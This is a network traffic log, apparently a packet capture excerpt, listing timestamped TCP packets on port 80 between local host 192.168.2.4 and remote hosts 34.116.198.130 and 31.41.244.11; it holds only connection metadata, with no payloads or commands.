Nov 24, 2024 12:24:24.054902077 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.055032969 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.055074930 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.056463003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.056646109 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.056687117 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.058034897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.058139086 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.058182955 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.059777975 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.059900045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.059943914 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.061291933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.061400890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.061448097 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.062798977 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.062918901 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.062967062 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.064402103 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.064728022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.064774036 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.065989971 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.066101074 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.066143990 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.067579985 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.067693949 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.067737103 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.069152117 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.069264889 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.069317102 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.070771933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.070892096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.070943117 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.072365999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.072499990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.072565079 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.074064970 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.074265957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.074312925 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.075560093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.075716972 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.075754881 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.077099085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.077183008 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.077224970 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.078641891 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.078712940 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.078754902 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.080305099 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.080446959 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.080554008 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.081882954 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.082026005 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.082077026 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.083537102 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.083554029 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.083597898 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.085000992 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.085104942 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.085150003 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.086585999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.086704016 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.086750984 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.088176012 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.088289976 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.088327885 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.089813948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.089890003 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.089931011 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.091363907 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.091479063 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.091521025 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.092950106 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.093080997 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.093122959 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.094567060 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.094754934 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.094791889 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.096107006 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.146538973 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.161037922 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.161135912 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.161174059 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.161772013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.161906004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.161942959 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.163410902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.163511038 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.163551092 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.164961100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.209641933 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.225285053 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.225450993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.225673914 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.225883007 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.225905895 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.225922108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.225950003 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.226814985 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.226882935 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.226950884 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.227992058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.228044033 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.228197098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.228661060 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.228774071 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.228949070 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.229619980 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.229669094 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.229687929 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.230495930 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.230513096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.230541945 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.231323004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.231364965 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.231410027 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.232186079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.232225895 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.232297897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.233135939 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.233180046 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.233308077 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.234047890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.234127998 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.234198093 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.235002995 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.235054970 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.235143900 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.235986948 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.236012936 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.236031055 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.237099886 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.237116098 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.237148046 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.237910986 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.237962008 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.238044977 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.238624096 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.238678932 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.238763094 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.239500999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.239551067 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.239595890 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.240381956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.240422964 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.240483999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.241307020 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.241362095 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.241830111 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.242243052 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.242294073 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.242362022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.243166924 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.243220091 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.243283987 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.244025946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.244075060 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.244102955 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.244848967 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.244904995 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.244971037 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.244985104 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.245013952 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.245029926 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.245054960 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.245070934 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.245088100 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.245126963 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.245182991 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.245223999 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.245233059 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.245275974 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.245292902 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.245309114 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.245313883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.245313883 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.245326042 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.245341063 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.245352030 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.245848894 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.245892048 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.245894909 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.246777058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.246822119 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.246884108 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.247752905 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.247792959 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.248115063 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.248687029 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.248703957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.248739958 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.249526978 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.249573946 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.249582052 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.250412941 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.250493050 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.250634909 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.251352072 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.251416922 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.251420021 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.252219915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.252268076 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.252278090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.253135920 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.253247023 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.253247023 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.254053116 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.254105091 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.254146099 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.254991055 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.255043983 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.255110979 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.255891085 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.255955935 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.255986929 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.256829977 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.256905079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.256953001 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.257688999 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.257744074 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.257772923 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.258594990 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.258646965 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.258711100 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.259516001 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.259581089 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.259660959 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.260437965 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.260478973 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.260548115 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.261406898 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.261451960 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.261495113 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.262279034 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.262334108 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.262371063 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.263611078 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.263654947 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.263722897 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.264153004 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.264204025 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.264275074 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.264981985 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.265026093 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.265060902 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.265939951 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.265995026 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.266030073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.266843081 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.266896009 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.266959906 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.267744064 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.267848015 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.267855883 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.268646955 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.268685102 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.268821955 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.269601107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.269649982 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.269659996 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.319024086 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.365514040 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.365585089 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.365585089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.365633011 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.369585037 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.369635105 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.369700909 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.369865894 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.377305984 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.377429962 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.377480030 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.377799988 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.377943993 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.377986908 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.378679991 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.378865957 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.378957033 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.379728079 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.426727057 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.426779032 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.426800013 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.427249908 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.427304029 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.427396059 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.428059101 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.428106070 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.428191900 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.428922892 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.428986073 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.429075956 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.429964066 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.430016041 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.430030107 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.430779934 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.430833101 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.430906057 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.431679010 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.431732893 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.431761026 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.432723045 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.432771921 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.432780981 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.433501959 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.433530092 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.433554888 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.434441090 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.434488058 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.434576035 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.435308933 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.435362101 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.435409069 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.436239958 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.436307907 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.436424017 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.437189102 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.437238932 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.437243938 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.437483072 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.437532902 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.437694073 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.437776089 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.438034058 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.438097954 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.438139915 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.438958883 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.438999891 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.439048052 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.439871073 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.439939022 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.439966917 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.440788031 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.440834999 CET	49792	80	192.168.2.4	34.116.198.130
Nov 24, 2024 12:24:24.440922022 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.441735983 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.441761971 CET	80	49793	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:24.441777945 CET	80	49792	34.116.198.130	192.168.2.4
Nov 24, 2024 12:24:24.441783905 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.441797972 CET	49793	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:24.441822052 CET	49792	80	192.168.2.4	34.116.198.130
